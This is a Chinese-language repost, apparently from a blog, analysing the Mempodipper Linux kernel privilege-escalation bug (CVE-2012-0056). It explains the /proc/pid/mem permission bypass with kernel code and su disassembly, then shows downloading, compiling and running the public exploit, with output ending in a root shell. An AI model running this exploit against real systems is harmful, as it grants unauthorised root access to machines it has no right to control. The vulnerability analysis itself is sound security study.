主頁 > 知識庫 > Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)

Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)

熱門標(biāo)簽:電話機器人搭建 硅谷的囚徒呼叫中心 外呼系統(tǒng) 解決方案 百度競價點擊價格的計算公式 家政服務(wù)網(wǎng)絡(luò) 美團 服務(wù)器配置

Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)
 /proc/pid/mem是一個用于讀取和寫入,直接通過各地尋求與相同的地址作為該進程的虛擬內(nèi)存空間進程內(nèi)存的接口。
  
 影響Linux 內(nèi)核> = 2.6.39
 當(dāng)打開/proc/pid/mem時,會調(diào)用此內(nèi)核代碼:

復(fù)制代碼
代碼如下:

static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}

 任何人都可以打開/proc/pid/mem fd 的任何進程寫入 和讀取,不過,有權(quán)限檢查限制。讓我們看看寫功能:
 
復(fù)制代碼
代碼如下:

static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;

 看代碼有兩個檢查,以防止未經(jīng)授權(quán)的寫操作:
 
復(fù)制代碼
代碼如下:

check_mem_permission和self_exec_id。
Check_mem_permission的代碼只需調(diào)用到__check_mem_permission,代碼:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}

 有兩種方法能對內(nèi)存寫入。
 
復(fù)制代碼
代碼如下:

$ su "hsmw fuck you"
Unknown id: hsmw fuck you
可以看到su的stderr 的輸出“Unknown id:”,我們可以fd 打開/proc/self/mem, 來確定在內(nèi)存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 寫入到內(nèi)存中,獲得root.
已task == current測試, 用self_exec_id 匹配self_exec_id 來檢測fd 的打開。
Self_exec_id在內(nèi)核中只引用的少數(shù)幾個地方。
void setup_new_exec(struct linux_binprm * bprm)
{
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

 我們創(chuàng)建一個子進程,用self_exec_id來exec 到一個新的進程里面。當(dāng)我們exec一個新的進程,self_exec_id會產(chǎn)生一個增量。這里程序忙與execing到我們的shellcode寫su,所以其self_exec_id得到 相同的值遞增。所以我們要做的是把exec一個新的進程,fd /proc/parent-pid/mem 到父進程的PID。這個時候的FD是因為沒有權(quán)限僅僅打開檢查。當(dāng)它被打開,其self_exec_id來時起作用,把我們exec來su,用self_exec_id將遞增。通過我們打開的FD從子進程返回父進程,dup2,和exec 溢出代碼到su.
 接下來調(diào)試溢出的地址和ASLR隨機進程的空間地址。
 在這里得到錯誤字符串:
  403677:       ba 05 00 00 00          mov    $0x5,%edx
   40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
   403681:       31 ff                   xor    %edi,%edi
   403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)
 然后把它寫入到stderr:
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
   40368f:       48 89 c2                mov    %rax,%rdx
   403692:       b9 20 88 60 00          mov    $0x608820,%ecx
   403697:       be 01 00 00 00          mov    $0x1,%esi
   40369c:       31 c0                   xor    %eax,%eax
   40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)
 關(guān)閉日志;
 4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)
 退出程序;
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
   4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)
 這里可以看到0×402178,這是它調(diào)用exit函數(shù)。我們來調(diào)試“Unknown id:" 的shellcode地址。
 $objdump -d /bin/su|grep 'exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'  0x402178
 它會設(shè)置uid 和gid 為0 去執(zhí)行一個SHELL。還可以重新打開dup2ing 內(nèi)存之前,stderr fd 到stderr,
 我們選擇另一個fd dup stderr,在shellcode,到我們dup2 ,其他fd回來到stderr。
 EXP 老外寫好了。插入一段
 
復(fù)制代碼
代碼如下:

wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

摘自 混世魔王博客

標(biāo)簽:北海 邢臺 防城港 烏蘭察布 臨沂 韶關(guān) 撫州 南昌

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Linux>=2.6.39 Mempodipper本地提權(quán)分析和EXP利用(CVE-2012-0056)》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266